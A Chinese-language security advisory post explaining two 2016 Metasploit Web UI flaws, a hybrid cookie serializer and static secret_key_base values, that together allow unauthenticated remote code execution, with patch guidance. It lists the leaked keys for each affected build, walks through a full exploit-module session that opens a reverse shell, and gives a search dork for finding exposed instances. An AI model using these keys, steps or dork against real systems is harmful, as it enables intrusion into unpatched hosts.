Metasploit 反序列化漏洞
作者：adlab_mickey在本周Rapid7发布的4.12.0-2016091401补丁描述中我们可以看到有2个漏洞，结合这2个漏洞远程攻击者可以非认证的在metasploit产品上执行任意代码，随后有研究人员也放出了POC攻击代码
PS:补丁、POC见文章最后参考文档
漏洞1:Metasploit Web UI's config.action_dispatch.cookies_serializer 设置为 :hybrid
OVE ID: OVE-20160904-0001
私有披露日期: 2016-09-04
公开披露日期: 2016-09-19
厂商公告 : https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001
Rails应用会接受一个标记的cookies来处理会话，在Rails 4.1的以前版本中，使用Marshal进行序列化，允许实例化任意对象的反序列化。Rails 4.1引入JSON cookie序列化机制，默认不允许任意对象实例化，这种配置要安全的多。Rails 4.1也引入了’hybrid' cookie序列化，这将允许反序列化JSON和Marshal序列化的cookies,当cookie序列化设置为Marshal或hybird时，远程攻击者如果知道cookie signing key的值，就能够构造会话cookie,触发Marshal反序列化，实现任意代码执行。
Metasploit Community, Express 和 Pro 版本的 Web UI在 Metasploit 4.12.0-2016091401之前的config.action_dispatch.cookies_serializer 值设置为 :hybrid,直到Metasploit 4.12.0-2016091401，才将其值设置为:json,因此用户需要更新到Metasploit 4.12.0-2016091401或更新版本才能有效防护此漏洞
参考：
http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html
https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization
漏洞2:Metasploit Weekly Release Static secret_key_base pre-auth RCE
OVE ID: OVE-20160904-0002
私有披露日期: 2016-09-04
公开披露日期: 2016-09-19
厂商公告 :https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001
Metasploit Community, Express 和 Pro版本，WEB UI的secret_key_base值是固定已知的， 而且Metasploit的config.action_dispatch.cookies_serializer的值默认又为:hybrid，这导致攻击者可以远程非认证的构造cookies，实现反序列化任意Marshall对象，以daemon用户权限在装有Metasploit的机器上执行任意命令。
已知的secret_key_base值如下：
4.12.0-2016061501,d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7
4.12.0-2016062101,99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc
4.12.0-2016072501,446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde
4.12.0-2016081001,61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a
4.12.0-2016081201,23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32
4.12.0-2016083001,18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615
unreleased build,b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c
攻击Metasploit本身的模块已经有安全研究人员开发出来了，路径为
exploit/multi/http/rails_secret_deserialization
使用方法如下：
msf exploit(metasploit_static_secret_key_base) > info
Name: Metasploit Web UI Static secret_key_base Value
Module: exploit/multi/http/metasploit_static_secret_key_base
Platform: Ruby
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-09-15
Provided by:
Justin Steven
joernchen of Phenoelit <joernchen@phenoelit.de>
Available targets:
IdName
------
0 Metasploit 4.12.0-2016061501 to 4.12.0-2016083001
Basic options:
Name Current SettingRequiredDescription
---- ----------------------------------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 3790 yes The target port
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI/ yes The path to the Metasploit Web UI
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the Web UI for Metasploit Community, Express
and Pro where one of a certain set of Weekly Releases have been
applied. These Weekly Releases introduced a static secret_key_base
value. Knowledge of the static secret_key_base value allows for
deserialization of a crafted Ruby Object, achieving code execution.
This module is based on
exploits/multi/http/rails_secret_deserialization
References:
OVE (20160904-0002)
https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
msf exploit(metasploit_static_secret_key_base) > set RHOST 172.18.0.2
RHOST => 172.18.0.2
msf exploit(metasploit_static_secret_key_base) > set PAYLOAD ruby/shell_reverse_tcp
PAYLOAD => ruby/shell_reverse_tcp
msf exploit(metasploit_static_secret_key_base) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(metasploit_static_secret_key_base) > set LPORT 4444
LPORT => 4444
msf exploit(metasploit_static_secret_key_base) > exploit
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Checking for cookie _ui_session
[*] Searching for proper SECRET
[*] Sending cookie _ui_session
[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:47590) at 2016-09-19 19:26:30 +1000
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
exit
^C
Abort session 1? y
[*] 172.18.0.2 - Command shell session 1 closed.Reason: User exit
Rapid7 在 etasploit 4.12.0-2016091401版本中修复了这个问题，将会检测secret_key_base的值是否是默认值，如果是，将重新生成，因此用户要尽快升级到Metasploit 4.12.0-2016091401或以上版本
参考：
https://github.com/rapid7/metasploit-framework/pull/7304
https://github.com/rapid7/metasploit-framework/pull/7341
关键字：title:"metasploit is initializing" 好一个黑吃黑。 这个怎么说呢，终日大雁被反打了
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